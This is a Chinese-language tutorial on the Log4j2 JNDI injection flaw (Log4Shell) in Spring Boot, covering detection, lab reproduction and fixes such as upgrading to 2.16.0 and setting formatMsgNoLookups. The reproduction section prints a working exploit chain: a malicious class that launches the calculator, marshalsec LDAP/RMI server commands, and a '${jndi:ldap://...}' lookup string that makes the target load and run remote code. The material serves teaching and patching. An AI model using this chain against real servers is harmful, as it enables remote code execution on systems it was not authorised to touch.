SpringBoot - Log4j2远程代码执行漏洞详解(漏洞检查、复现、修复方法)
一、Log4j2 漏洞介绍
1,Log4j2 介绍
Apache Log4j2 是一个基于 Java 的日志记录工具,该工具重写了 Log4j 框架,并且引入了大量丰富的特性,Apache log4j-2 是 Log4j 的升级版,这个日志框架被大量用于业务系统开发,用来记录日志信息。
2,Log4j2 漏洞
(1)近日 Apache Log4j2 被检测到存在 Java JNDI 注入漏洞:当程序将用户输入的数据记入日志时,攻击者通过构造特殊请求,来触发 Apache Log4j2 中的远程代码执行漏洞,从而利用此漏洞在目标服务器上执行任意代码。漏洞影响版本:2.0 <= Apache Log4j 2 <= log4j-2.15.0-rc1
(2)由于Log4j2 作为日志记录基础第三方库,被大量 Java 框架及应用使用,只要用到 Log4j2 进行日志输出且日志内容能被攻击者部分可控,即可能会受到漏洞攻击影响。因此,该漏洞也同时影响全球大量通用应用及组件,例如 :
- Apache Struts2、Apache Solr、Apache Druid、Apache Flink、Apache Flume、Apache Dubbo、Apache Kafka、Spring-boot-starter-log4j2、ElasticSearch、Redis、Logstash等。
因此建议及时检查并升级所有使用了 Log4j 组件的系统或应用。
二、Log4j2 漏洞检测
(2)工具支持 Windows/Linux/Mac 多种操作系统,i386/x86-64/arm 等多种架构,可以指定单个 jar 文件、或者目录进行扫描。
三、复现 Log4j2 漏洞
JNDI(Java Naming and Directory Interface)是 Java 提供的 Java 命名和目录接口。通过调用 JNDI 的 API 应用程序可以定位资源和其他程序对象。JNDI 是 Java EE 的重要部分,需要注意的是它并不只是包含了 DataSource(JDBC 数据源),JNDI 可访问的现有的目录及服务有:JDBC、LDAP、RMI、DNS、NIS、CORBA
1,准备恶意代码
(1)首先我们创建一个恶意类,代码如下,其功能就是启动系统的计算器,方便我们观察效果。
注意这里我使用的是 macOS 系统,如果是 Windows 系统,则启动计算器代码如下:
- String[] commands = {"calc.exe"};
public class Log4j2Hack{ public Log4j2Hack() { try { System.out.println("--- 漏洞代码开始执行 ---"); String[] commands = {"open", "/System/Applications/Calculator.app"}; // 启动系统计算器 Process pc = Runtime.getRuntime().exec(commands); pc.waitFor(); System.out.println("--- 漏洞代码完成执行 ---"); } catch (Exception e) { e.printStackTrace(); } } }
(2)将这个 java 类编译成 class,然后放在 Web 服务器下(如 Nginx),确保浏览器能访问下载该文件:
2,搭建 LADP 服务
(1)如果我们自己手动编写代码并搭建 ldap 服务略显麻烦,为了方便,我们可以使用 marshalsec。这是一个开源项目,可以快速开启 RMI 和 LDAP 服务。
- GitHub 主页:https://github.com/mbechler/marshalsec
(2)我们将 marshalsec 的源码包下载下来,解压后进入文件,执行如下 maven 命令进行编译:
mvn clean package -DskipTests
(3)编译后在 target 文件夹下面会生成 jar 包:
(4)接下来执行下面的命令即可开启 LDAP:
参数说明:
- # 不能省略,其后面填写的是恶意类的类名,它会自动绑定 URI
- 1099 是开启 LDAP 服务的端口号,如果不加端口号,它的默认端口号就是 1099
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.43.96:9090/#Log4j2Hack 1099
- 如果要开启 RMI 的话,跟开启 LDAP 方法差不多,我们只需要将 LDAPRefServer 改为 RMIRefServer 即可:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://192.168.43.96:9090/#Log4j2Hack 1099
3,开始测试
(1)要复现这个漏洞,被测试的项目 Log4j2 版本必须符合 2.0 <= Apache Log4j 2 <= log4j-2.15.0-rc1。这里我添加的 spring-boot-starter-log4j2 依赖版本为 2.3.12.RELEASE,其内部使用的 log4j2 版本是 2.13.3,符合漏洞条件。
<dependencies> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-web</artifactId> <!-- 去掉springboot默认日志配置 --> <exclusions> <exclusion> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-logging</artifactId> </exclusion> </exclusions> </dependency> <!-- 引入log4j2依赖 --> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-log4j2</artifactId> <version>2.3.12.RELEASE</version> </dependency> </dependencies>
(2)jdk 版本在 jndi 注入中也起着至关重要的作用,由于我使用的 jdk 版本比较高,所以在项目启动类上添加如下代码将 trustURLCodebase 设置为 true,才能触发漏洞:
如果使用低版本的 jdk,trustURLCodebase 默认就是 true,存在 JNDI 注入漏洞。而后来 Java 修复了该漏洞,将参数默认值设置为 false:
- JDK 6u141、7u131、8u121 之后:增加了 com.sun.jndi.rmi.object.trustURLCodebase 选项,默认为 false,禁止 RMI 和 CORBA 协议使用远程 codebase 的选项,因此 RMI 和 CORBA 在以上的 JDK 版本上已经无法触发该漏洞,但依然可以通过指定 URI 为 LDAP 协议来进行 JNDI 注入攻击。
- JDK 6u211、7u201、8u191之后:增加了 com.sun.jndi.ldap.object.trustURLCodebase 选项,默认为 false,禁止 LDAP 协议使用远程 codebase 的选项,把 LDAP 协议的攻击途径也给禁了。
@SpringBootApplication public class HanggeDemoApplication { public static void main(String[] args) { //jdk高版本必须添加下面设置 System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true"); System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true"); SpringApplication.run(HanggeDemoApplication.class, args); } }
(3)要触发这个漏洞很简单,我们只要编写如下形式的 log 日志打印语句,即会触发 ldap 服务请求,加载远端的 class 文件并执行。
@RestController public class TestController { Logger logger = LoggerFactory.getLogger(getClass()); @GetMapping("/test") public void test() { logger.info("${jndi:ldap://192.168.43.96:1099/Log4j2Hack}"); } }
- 如果请求 rmi 服务,则改用如下代码即可:
logger.info("${jndi:rmi://192.168.43.96:1099/Log4j2Hack}"
(4)测试一下,我们使用浏览器访问这个 test 接口,可以看到本地计算器被启动了,说明漏洞触发成功:
四、漏洞修复方法
1,使用高版本的 log4j2(推荐)
(1)由于漏洞影响版本:2.0 <= Apache Log4j 2 <= log4j-2.15.0-rc1。所以最直接安全的方法就是将版本升级到 log4j-2.15.0-rc2 或者以上版本。
<dependencies> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-web</artifactId> <!-- 去掉springboot默认日志配置 --> <exclusions> <exclusion> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-logging</artifactId> </exclusion> </exclusions> </dependency> <!-- 引入log4j2依赖 --> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-log4j2</artifactId> <exclusions> <exclusion> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-api</artifactId> </exclusion> <exclusion> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> </exclusion> </exclusions> </dependency> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-api</artifactId> <version>2.16.0</version> </dependency> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.16.0</version> </dependency> </dependencies>
(2)升级后再次进行测试,可以看到日志只会打印出字符串,不会再执行远程代码了:
2,临时方案
如果暂时不方便对项目使用的 log4j2 版本进行升级,并且程序日志对“${}”并无解析要求。可以通过配置的方式,实现不对“${}”进行解析,达到修复漏洞的目的。下面几种方法任选其一即可:
- 在 jvm 参数中添加 -Dlog4j2.formatMsgNoLookups=true
- 项目创建 log4j2.component.properties 文件,文件中增加配置 log4j2.formatMsgNoLookups=true